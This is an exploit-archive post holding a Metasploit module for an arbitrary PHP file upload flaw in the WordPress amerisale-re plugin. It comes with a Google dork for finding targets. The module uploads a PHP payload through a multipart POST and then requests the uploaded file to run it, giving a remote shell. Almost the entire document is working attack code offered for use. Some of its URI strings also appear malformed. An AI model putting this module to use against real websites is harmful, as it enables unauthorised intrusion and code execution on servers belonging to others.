WordPress Amerisale-Re Remote Shell Upload

`# Exploit Title : Wordpress amerisale-re Remote Shell Upload  
# Exploit Author : T3rm!nat0r5  
# Vendor Homepage : http://wordpress.org/  
# Google Dork : inurl:/wp-content/plugins/amerisale-re  
# Date : 2014/01/30  
# Tested on : Windows 8 , Linux  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
require 'msf/core'  
class Metasploit4 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wordpress amerisale-re Plugin Remote  
Shell Upload',  
'Description' => %q{  
This module exploits an arbitrary PHP File Upload and Code  
Execution flaw in some  
WordPress blog software plugins. The vulnerability allows for  
arbitrary file upload  
and remote code execution POST Data to Vulnerable Script/File in the plugin.  
},  
'Author' => [ 'T3rm!nat0r5 [Forever]' ],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 999999  
},  
'Platform' => 'PHP',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0,  
))  
  
register_options(  
[  
OptString.new('Target', [true, "Wordpress Path", "/"]),  
OptString.new('PLUGIN', [true, "Full path of Plugin and  
Vulnerable File", "/"]),  
OptString.new('UDP', [true, "File Upload Path", "/"])  
], self.class)  
end  
  
def check  
uri = datastore['Target']  
plug = datastore['PLUGIN']  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}'/'#{plug}"  
})  
  
if res and res.code == 200  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
  
uri = datastore['Target']  
plug = datastore['PLUGIN']  
path = datastore['UDP']  
  
peer = "#{rhost}:#{rport}"  
  
post_data = Rex::MIME::Message.new  
post_data.add_part("<?php #{payload.encoded} ?>",  
"application/octet-stream", nil,  
"form-data; name=\"Filedata\";  
filename=\"#{rand_text_alphanumeric(6)}.php\"")  
  
print_status("#{peer} - Sending payload")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}'/'#{plug}",  
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,  
'data' => post_data.to_s  
})  
  
if not res or res.code != 200 or res.body !~  
/\{\"raw_file_name\"\:\"(\w+)\"\,/  
print_error("#{peer} - File wasn't uploaded, aborting!")  
return  
end  
  
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}'/'#{path}'/'#{$1}.php"  
})  
  
if res and res.code != 200  
print_error("#{peer} - Server returned #{res.code.to_s}")  
end  
  
end  
  
end  
# Exploit by T3rm!nat0r5  
`